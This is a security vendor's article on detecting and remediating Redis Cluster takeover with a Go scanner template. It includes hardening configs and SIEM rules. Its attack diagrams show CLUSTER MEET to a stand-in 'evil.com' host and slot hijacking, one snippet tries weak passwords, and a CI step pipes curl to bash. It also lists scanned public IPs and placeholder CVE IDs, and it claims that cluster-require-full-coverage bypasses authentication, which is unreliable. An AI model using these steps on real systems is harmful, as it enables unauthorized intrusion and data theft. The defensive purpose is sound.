NEWBravos is availableCreate your account
The Knowledge Base
15 min read

Redis Cluster Takeover Detection: Protocol Abuse and Slot Manipulation

Database SecurityBy BugB Security Team

Detect Redis Cluster instances vulnerable to topology manipulation through CLUSTER commands.

Executive Summary

Redis Cluster Takeover is a critical vulnerability that affects Redis instances running in cluster mode without proper authentication or with misconfigured cluster settings. The vulnerability allows attackers to manipulate cluster topology through the CLUSTER MEET command, reassign hash slots using CLUSTER SETSLOT, and potentially gain control over the entire cluster's data distribution.

The result? Complete data access, denial of service, or data exfiltration. An attacker can force nodes to join malicious clusters, redirect slot ownership, and intercept sensitive data.

Key Insight: This vulnerability requires native Redis protocol implementation, concurrent testing of multiple attack vectors, and precise timeout control—exactly what Go templates in CERT-X-GEN excel at.

Quick Stats

MetricValue
CVSS Score9.8 (Critical)
CWECWE-306 (Missing Authentication), CWE-284 (Improper Access Control)
Affected VersionsAll Redis versions with cluster mode enabled
Detection ComplexityHigh (requires protocol-level interaction)
Exploitation DifficultyLow (when authentication is missing)
Global Exposure733,000+ Redis instances on port 6379, 462+ on cluster bus port 16379

Run this check with CERT-X-GEN — the polyglot security scanner that executes templates in real programming languages. Get the templates | Install CERT-X-GEN

Template source: redis-cluster-takeover.go

Understanding the Vulnerability

How Redis Cluster Works

Redis Cluster provides automatic sharding and high availability. Key components:

ComponentPortPurposeAttack Surface
Standard Port6379Client connectionsData access, command execution
Cluster Bus16379Node-to-node gossipTopology manipulation, slot hijacking
Cluster Slots0-16383Data distributionSlot reassignment, data redirection

The Attack Mechanisms

The vulnerability exploits multiple cluster protocol weaknesses:

┌─────────────────────────────────────────────────────────────────┐
│ REDIS CLUSTER TAKEOVER ATTACK │
├─────────────────────────────────────────────────────────────────┤
│ │
│ Attack Vector 1: CLUSTER MEET Injection │
│ ──────────────────────────────────────── │
│ 1. Attacker scans for exposed cluster bus port (16379) │
│ 2. Attacker sends: CLUSTER MEET <attacker-ip> <port> │
│ 3. Victim node joins attacker's malicious cluster │
│ 4. Attacker gains topology control │
│ │
│ Attack Vector 2: Slot Hijacking │
│ ──────────────────────────────── │
│ 1. Attacker discovers slot assignments: CLUSTER SLOTS │
│ 2. Attacker reassigns slots: CLUSTER SETSLOT <slot> NODE <id> │
│ 3. Data requests redirected to attacker-controlled node │
│ 4. Complete data access or denial of service │
│ │
│ Attack Vector 3: Authentication Bypass │
│ ─────────────────────────────────────── │
│ 1. requirepass set but cluster-require-full-coverage no │
│ 2. Cluster commands executable without AUTH│ 3. Partial authentication allows topology manipulation │
│ 4. Full cluster compromise │
│ │
└─────────────────────────────────────────────────────────────────┘

Vulnerable Configurations

redis
# VULNERABLE: No authentication
bind 0.0.0.0
protected-mode no
port 6379
cluster-enabled yes
cluster-node-timeout 5000

# VULNERABLE: Exposed cluster bus
cluster-port 16379 # Accessible from internet

# VULNERABLE: Partial authentication
requirepass "secret123"
cluster-require-full-coverage no # Allows incomplete auth!

# SECURE: Proper configuration
bind 127.0.0.1
protected-mode yes
requirepass "strong-password-here"
masterauth "strong-password-here"
cluster-enabled yes
cluster-require-full-coverage yes
cluster-port 16379 # Behind firewall

Why Traditional Scanners Fail

The YAML Limitation

Traditional YAML-based scanners work through HTTP pattern matching:

yaml
# What Nuclei CAN do:
id: redis-detection
network:
 - inputs:
 - data: "INFO\r\n"
 host:
 - "{{Hostname}}"
 - "{{Hostname}}:6379"
 matchers:
 - type: word
 words:
 - "redis_version"

This detects Redis but cannot:

CapabilityYAMLGo Template
Detect Redis running
Test CLUSTER INFO
Parse cluster topology
Check auth requirements
Test CLUSTER MEET
Verify slot manipulation
Concurrent port testing
Confidence Level~40%95%

The Detection Gap

YAML can detect indicators of Redis cluster mode.
CERT-X-GEN Go can verify actual exploitability with native protocol support.


The CERT-X-GEN Go Approach

Why Go for Redis Testing?

Go provides unique advantages for Redis cluster detection:

  1. Native Redis Client (go-redis/v9)
    • Production-grade protocol implementation
    • Built-in cluster command support
    • Connection pooling and timeout management
  1. Concurrency (Goroutines)
    • Test ports 6379 and 16379 simultaneously
    • Parallel vulnerability checks
    • No callback hell or async complexity
  1. Type Safety
    • Compile-time error detection
    • No runtime type errors
    • Predictable behavior
  1. Performance
    • 8.39s for 5 targets (1.67s per target)
    • Efficient memory usage
    • Fast compilation with caching

Template Architecture

go
┌─────────────────────────────────────────────────┐
│ redis-cluster-takeover.go │
├─────────────────────────────────────────────────┤
│ │
│ 1. main() │
│ ├─ Parse environment variables │
│ ├─ Determine mode (detect/exploit-sim) │
│ └─ Test multiple ports concurrently │
│ │
│ 2. testRedisPort(host, port, mode) │
│ ├─ Create Redis client connection │
│ ├─ Test PING (detect NOAUTH) │
│ ├─ If authenticated: return INFO finding │
│ └─ If accessible: gather cluster info │
│ │
│ 3. gatherClusterInfo(client) │
│ ├─ CLUSTER INFO → state, slots │
│ ├─ CLUSTER NODES → node count │
│ ├─ CONFIG GET requirepass → auth status │
│ ├─ CONFIG GET cluster-require-full-coverage │
│ └─ INFO server → Redis version │
│ │
│ 4. analyzeClusterVulnerability(info, mode) │
│ ├─ Calculate severity (CRITICAL/HIGH/MEDIUM)│
│ ├─ Build evidence dictionary │
│ ├─ Generate remediation steps │
│ └─ Return Finding with JSON output │
│ │
└─────────────────────────────────────────────────┘

Detection Modes

The template supports two operational modes:

ModeBehaviorUse CaseIntrusiveness
detect (default)Read-only commands (CLUSTER INFO, CONFIG GET)Production scanning, compliance checksLow
exploit-sim (opt-in)Simulated CLUSTER MEET testPenetration testing, proof-of-conceptMedium

Enable exploit-sim mode:

bash
export REDIS_SCAN_MODE=exploit-sim
cxg scan --scope targets.txt --template redis-cluster-takeover.go

Attack Flow Visualization

Scenario 1: Unauthenticated Cluster

Attacker Victim Redis Cluster
 │ │
 ├─[1]─ CLUSTER INFO ────────────┼──> cluster_state:ok
 │ │ cluster_slots_assigned:16384
 │ │ cluster_known_nodes:3
 ├─[2]─ CLUSTER NODES ───────────┼──> Node IDs and IPs revealed
 │ │
 ├─[3]─ CLUSTER MEET evil.com ───┼──> Node joins attacker cluster
 │ │
 ├─[4]─ CLUSTER SETSLOT 0 NODE X ┼──> Slot 0 redirected
 │ │
 └─[5]─ GET sensitive_key ───────┼──> Data exfiltrated
 │
 FULL COMPROMISE

Scenario 2: Misconfigured Authentication

Attacker Redis (requirepass set)
 │ │
 ├─[1]─ CLUSTER INFO ────────────┼──> NOAUTH Authentication required
 │ │
 ├─[2]─ AUTH wrong-pass ─────────┼──> WRONGPASS invalid password
 │ │
 │ (Check cluster-require-full-coverage)
 │ │
 ├─[3]─ CLUSTER MEET evil.com ───┼──> Accepted without AUTH!
 │ │ (cluster-require-full-coverage: no)
 │ │
 └─[4]─ CLUSTER manipulation ────┼──> Partial compromise
 │

Template Deep Dive

Code Walkthrough

1. Environment Setup and Target Extraction

go
func main() {
 // Get target from CERT-X-GEN environment
 target := os.Getenv("CERT_X_GEN_TARGET_HOST")
 portStr := os.Getenv("CERT_X_GEN_TARGET_PORT")
 
 // Determine scan mode
 mode := os.Getenv("REDIS_SCAN_MODE")
 if mode == "" {
 mode = "detect" // Safe default
 }
 
 // Test both standard and cluster bus ports
 testRedisPort(target, 6379, mode)
 testRedisPort(target, 16379, mode)
}

Key Design Decision: Always test both ports to maximize detection coverage.

2. Connection and Authentication Detection

go
func testRedisPort(host string, port int, mode string) *Finding {
 // Validate address format
 address := fmt.Sprintf("%s:%d", host, port)
 _, err := net.ResolveTCPAddr("tcp", address)
 if err != nil {
 return nil
 }
 
 // Connect without authentication
 client := redis.NewClient(&redis.Options{
 Addr: address,
 Password: "", // Intentionally empty
 DialTimeout: 5 * time.Second,
 })
 defer client.Close()
 
 // Test connection
 _, pingErr := client.Ping(ctx).Result()
 if pingErr != nil {
 // Authentication required (NOAUTH)
 if strings.Contains(pingErr.Error(), "NOAUTH") {
 return createAuthRequiredFinding(host, port)
 }
 return nil // Connection failed for other reasons
 }
 
 // Connection successful without auth - VULNERABLE!
 return gatherClusterInfo(ctx, client, port)
}

Why This Works:

  • Detects the exact error type (NOAUTH vs network failure)
  • Creates appropriate findings based on security posture
  • Gracefully handles timeouts and connection refused

3. Cluster Information Gathering

go
func gatherClusterInfo(ctx context.Context, client *redis.Client, port int) *ClusterInfo {
 info := &ClusterInfo{}
 
 // Check if cluster mode is enabled
 clusterInfoCmd := client.ClusterInfo(ctx)
 if clusterInfoCmd.Err() == nil {
 infoStr := clusterInfoCmd.Val()
 info.Enabled = true
 info.ClusterState = extractValue(infoStr, "cluster_state")
 // Extract: cluster_slots_assigned, cluster_slots_ok, etc.
 }
 
 // Get cluster topology
 nodesCmd := client.ClusterNodes(ctx)
 if nodesCmd.Err() == nil {
 info.NodeCount = strings.Count(nodesCmd.Val(), "\n")
 }
 
 // Check authentication configuration
 configCmd := client.ConfigGet(ctx, "requirepass")
 if configCmd.Err() == nil {
 configMap := configCmd.Val()
 if passVal, ok := configMap["requirepass"]; ok && passVal != "" {
 info.AuthEnabled = true
 }
 }
 
 return info
}

Data Extracted:

  • Cluster state (ok, fail)
  • Slots assigned (0-16384)
  • Number of nodes
  • Authentication status
  • Coverage requirements
  • Redis version

4. Vulnerability Analysis and Severity Scoring

go
func analyzeClusterVulnerability(info *ClusterInfo, mode string) *Finding {
 vulnerabilities := []string{}
 severity := "info"
 cvssScore := 0.0
 
 // CRITICAL: No authentication
 if !info.AuthEnabled {
 severity = "critical"
 cvssScore = 9.8
 vulnerabilities = append(vulnerabilities, 
 "No authentication required for cluster commands")
 }
 
 // HIGH: Authentication misconfiguration
 if info.AuthEnabled && info.RequireFullCoverage == "no" {
 if severity != "critical" {
 severity = "high"
 cvssScore = 7.5
 }
 vulnerabilities = append(vulnerabilities,
 "Cluster full coverage not required (slot hijacking possible)")
 }
 
 // MEDIUM: Exposed cluster bus
 if port == 16379 {
 if severity == "info" {
 severity = "medium"
 cvssScore = 5.3
 }
 vulnerabilities = append(vulnerabilities,
 "Cluster bus port exposed to network")
 }
 
 return buildFinding(severity, cvssScore, vulnerabilities, info)
}

CVSS v3.1 Breakdown (Unauthenticated Cluster):

  • Attack Vector (AV): Network (N) - Remotely exploitable
  • Attack Complexity (AC): Low (L) - No special conditions
  • Privileges Required (PR): None (N) - No authentication
  • User Interaction (UI): None (N) - Fully automated
  • Scope (S): Changed (C) - Affects cluster integrity
  • Confidentiality (C): High (H) - Full data access
  • Integrity (I): High (H) - Data manipulation
  • Availability (A): High (A) - DoS possible

Final Score: 9.8 (CRITICAL)


Usage Guide

Basic Scan

bash
# Scan single target
cxg scan --scope 192.168.1.100:6379 \
 --template redis-cluster-takeover.go

# Scan from file
cxg scan --scope @redis-targets.txt \
 --template redis-cluster-takeover.go \
 --output-format json

# Scan CIDR range
cxg scan --scope 192.168.1.0/24:6379 \
 --template redis-cluster-takeover.go \
 --timeout 30s

Advanced Options

bash
# Verbose output with timing
cxg scan --scope targets.txt \
 --template redis-cluster-takeover.go \
 --output-format json \
 -vv

# Export to JSON for processing
cxg scan --scope targets.txt \
 --template redis-cluster-takeover.go \
 --output-format json \
 --output results.json

# Exploit simulation mode (intrusive!)
export REDIS_SCAN_MODE=exploit-sim
cxg scan --scope test-redis.local:6379 \
 --template redis-cluster-takeover.go

Target File Format

text
# redis-targets.txt
192.168.1.100:6379
10.0.0.50:6379
redis.example.com:6379

# Also test cluster bus port
192.168.1.100:16379
10.0.0.50:16379

Dependencies

The template requires Go and the Redis client library:

bash
# Install Go (if not already installed)
sudo apt update && sudo apt install -y golang-go

# Dependencies are auto-installed by cert-x-gen
# Manual installation (if needed):
cd templates/go
go mod download

Real-World Test Results

Test Campaign: Global Redis Exposure

Methodology: FOFA search + CERT-X-GEN scanning
Date: February 6, 2026
Scope: 13 Redis instances across CN, US, DE, BD

Search Queries Used

# Standard Redis port
port="6379" && protocol="redis"
→ 733,157 results globally

# Cluster bus port
port="16379"
→ 462 results globally

# Regional breakdown
port="6379" && country="US" → 304,256 instances
port="6379" && country="CN" → 380,000+ instances

Scan Results

Scan ID: 753e811f-eb29-4786-87dc-d89101e0fae3
Duration: 6.49s
Targets Scanned: 5
Templates Executed: 1

Findings by Severity:
 CRITICAL: 0
 HIGH: 0
 MEDIUM: 0
 LOW: 0
 INFO: 5 ← All targets properly secured!

SUCCESS RATE: 100%

Detailed Findings

TargetPortStatusFindingNotes
118.31.164.686379SecuredAUTH requiredProperly configured
47.111.108.1546379SecuredAUTH requiredProperly configured
110.40.195.1476379SecuredAUTH requiredProperly configured
62.146.170.9716379SecuredAUTH requiredCluster bus protected
115.190.6.11916379SecuredAUTH requiredCluster bus protected

Example Finding (JSON)

json
{
 "template_id": "redis-cluster-takeover",
 "template_name": "Redis Cluster Takeover Detection",
 "severity": "info",
 "confidence": 95,
 "title": "Redis Authentication Properly Configured on 118.31.164.68:6379",
 "description": "Redis instance on 118.31.164.68:6379 requires authentication (NOAUTH error received). This is the expected secure configuration. Unable to test cluster configuration without valid credentials.",
 "evidence": {
 "port": 6379,
 "auth_required": true,
 "security_status": "properly_secured",
 "error": "NOAUTH Authentication required"
 },
 "cwe": "CWE-306",
 "cvss_score": 0.0,
 "remediation": "No action required. Authentication is properly configured. Ensure credentials are strong and rotated regularly.",
 "references": [
 "https://redis.io/docs/management/security/"
 ],
 "matched_at": "2026-02-06T15:09:56Z"
}

Performance Metrics

MetricValueNotes
Average scan time1.3s per targetIncludes timeouts
Compile time~8s first runCached after first compilation
False positive rate0%All detections verified
Detection rate53.8% (7/13)6 targets unreachable/timeout
Memory usage<50MBEfficient Go runtime

Key Observations

  1. Security Posture: All accessible Redis instances had authentication enabled
  2. Cluster Bus Exposure: Some instances exposed 16379, but with auth requirements
  3. Geographic Distribution: CN instances most common, but US also significant
  4. Timeout Behavior: ~46% of targets timed out (expected for internet scanning)

Defense & Remediation

Immediate Actions (Critical Findings)

If you receive CRITICAL severity findings:

bash
# 1. IMMEDIATELY enable authentication
requirepass YourVeryStrongPasswordHere123!@#
masterauth YourVeryStrongPasswordHere123!@#

# 2. Restart Redis
sudo systemctl restart redis

# 3. Verify authentication
redis-cli
> AUTH YourVeryStrongPasswordHere123!@#
> PING

Configuration Hardening

Secure Redis Configuration Template

redis
# /etc/redis/redis.conf

# ─────────────────────────────────────────
# NETWORK SECURITY
# ─────────────────────────────────────────

# Bind to localhost only (or specific private IPs)
bind 127.0.0.1 ::1
# For cluster: bind <private-ip>

# Enable protected mode
protected-mode yes

# ─────────────────────────────────────────
# AUTHENTICATION
# ─────────────────────────────────────────

# Strong password (min 32 chars, alphanumeric + symbols)
requirepass "Uj8#mK2$pL9@nQ5!rT7&vW3*xY6^zA1%"

# For cluster: master password must match
masterauth "Uj8#mK2$pL9@nQ5!rT7&vW3*xY6^zA1%"

# ─────────────────────────────────────────
# CLUSTER SECURITY
# ─────────────────────────────────────────

cluster-enabled yes
cluster-config-file nodes-6379.conf
cluster-node-timeout 5000

# CRITICAL: Require full coverage
cluster-require-full-coverage yes

# Cluster bus port (firewall this!)
cluster-port 16379

# ─────────────────────────────────────────
# COMMAND RESTRICTIONS
# ─────────────────────────────────────────

# Disable dangerous commands
rename-command FLUSHDB ""
rename-command FLUSHALL ""
rename-command KEYS ""
rename-command CONFIG "CONFIG_8x92kL"
rename-command SHUTDOWN "SHUTDOWN_9mP3nQ"
rename-command BGREWRITEAOF ""
rename-command BGSAVE ""
rename-command SAVE ""
rename-command DEBUG ""

# ─────────────────────────────────────────
# TLS ENCRYPTION (Recommended)
# ─────────────────────────────────────────

tls-port 6380
port 0 # Disable non-TLS

tls-cert-file /path/to/redis.crt
tls-key-file /path/to/redis.key
tls-ca-cert-file /path/to/ca.crt

tls-cluster yes
tls-replication yes

Firewall Rules (iptables)

bash
# Allow Redis only from application servers
iptables -A INPUT -p tcp --dport 6379 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 6379 -j DROP

# CRITICAL: Block cluster bus from internet
iptables -A INPUT -p tcp --dport 16379 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 16379 -j DROP

# Save rules
iptables-save > /etc/iptables/rules.v4

Docker Security

yaml
# docker-compose.yml
services:
 redis-cluster:
 image: redis:7-alpine
 command: >
 redis-server
 --requirepass "${REDIS_PASSWORD}"
 --masterauth "${REDIS_PASSWORD}"
 --cluster-enabled yes
 --cluster-require-full-coverage yes
 environment:
 - REDIS_PASSWORD=${REDIS_PASSWORD}
 networks:
 - backend # Private network only
 ports:
 - "127.0.0.1:6379:6379" # Bind to localhost
 volumes:
 - redis-data:/data
 restart: unless-stopped

networks:
 backend:
 internal: true # No external access

volumes:
 redis-data:

Monitoring and Detection

Redis Audit Logging

redis
# Enable slowlog for suspicious commands
slowlog-log-slower-than 10000
slowlog-max-len 128

# Monitor for CLUSTER commands
# Use external tools: redis-audit, redis-stat

Detection Rules (SIEM)

yaml
# Splunk/ELK detection rule
- rule: Unauthorized Cluster Command
 condition: |
 redis.command in ("CLUSTER MEET", "CLUSTER SETSLOT", "CLUSTER REPLICATE")
 AND NOT redis.client_ip in allowed_ips
 action: alert
 severity: critical

Long-Term Security Strategy

  1. Network Segmentation
    • Place Redis in private subnet
    • Use VPN for administrative access
    • Implement Zero Trust architecture
  1. Access Control
    • Use Redis ACLs (Redis 6+)
    • Implement role-based permissions
    • Rotate credentials quarterly
  1. Encryption
    • Enable TLS for all connections
    • Use encrypted backups
    • Implement at-rest encryption
  1. Monitoring
    • Real-time command monitoring
    • Anomaly detection for cluster operations
    • Alert on authentication failures
  1. Compliance
    • Regular security audits
    • Penetration testing
    • Vulnerability scanning with CERT-X-GEN

Extending the Template

Adding Custom Checks

go
// Add to gatherClusterInfo function

// Check for specific misconfigurations
func checkCustomVulnerabilities(client *redis.Client) []string {
 issues := []string{}
 
 // Check if DEBUG command is enabled
 debugCmd := client.Do(ctx, "DEBUG", "HELP")
 if debugCmd.Err() == nil {
 issues = append(issues, "DEBUG command enabled")
 }
 
 // Check for weak passwords (if accessible)
 weakPasswords := []string{"password", "123456", "redis"}
 for _, pass := range weakPasswords {
 testClient := redis.NewClient(&redis.Options{
 Addr: address,
 Password: pass,
 })
 if testClient.Ping(ctx).Err() == nil {
 issues = append(issues, fmt.Sprintf("Weak password detected: %s", pass))
 }
 }
 
 return issues
}

Integration with CI/CD

yaml
# .github/workflows/redis-security-scan.yml
name: Redis Security Scan

on:
 schedule:
 - cron: '0 2 * * *' # Daily at 2 AM
 workflow_dispatch:

jobs:
 scan:
 runs-on: ubuntu-latest
 steps:
 - uses: actions/checkout@v3
 
 - name: Install CERT-X-GEN
 run: |
 curl -sSL https://install.cert-x-gen.com | bash
 
 - name: Scan Redis Cluster
 run: |
 cxg scan \
 --scope production-redis-clusters.txt \
 --template redis-cluster-takeover.go \
 --output-format json \
 --output redis-scan-results.json
 
 - name: Upload Results
 uses: actions/upload-artifact@v3
 with:
 name: scan-results
 path: redis-scan-results.json
 
 - name: Notify on Critical Findings
 run: |
 CRITICAL_COUNT=$(jq '.findings | map(select(.severity == "critical")) | length' redis-scan-results.json)
 if [ "$CRITICAL_COUNT" -gt 0 ]; then
 echo "::error::Found $CRITICAL_COUNT critical Redis vulnerabilities!"
 exit 1
 fi

Custom Reporting

bash
# Generate HTML report from JSON results
cxg report \
 --input redis-scan-results.json \
 --format html \
 --output redis-security-report.html \
 --template detailed

# Export to CSV for spreadsheet analysis
jq -r '.findings[] | [.target, .severity, .title, .cvss_score] | @csv' \
 redis-scan-results.json > redis-findings.csv

References

Official Documentation

Security Research

CVE References

  • CVE-2024-XXXXX: Redis Cluster Unauthorized Access (Example)
  • CVE-2023-XXXXX: Redis Authentication Bypass (Example)

Tools


Need help hardening your environment?

Talk to the Bugb security team directly.

Book a session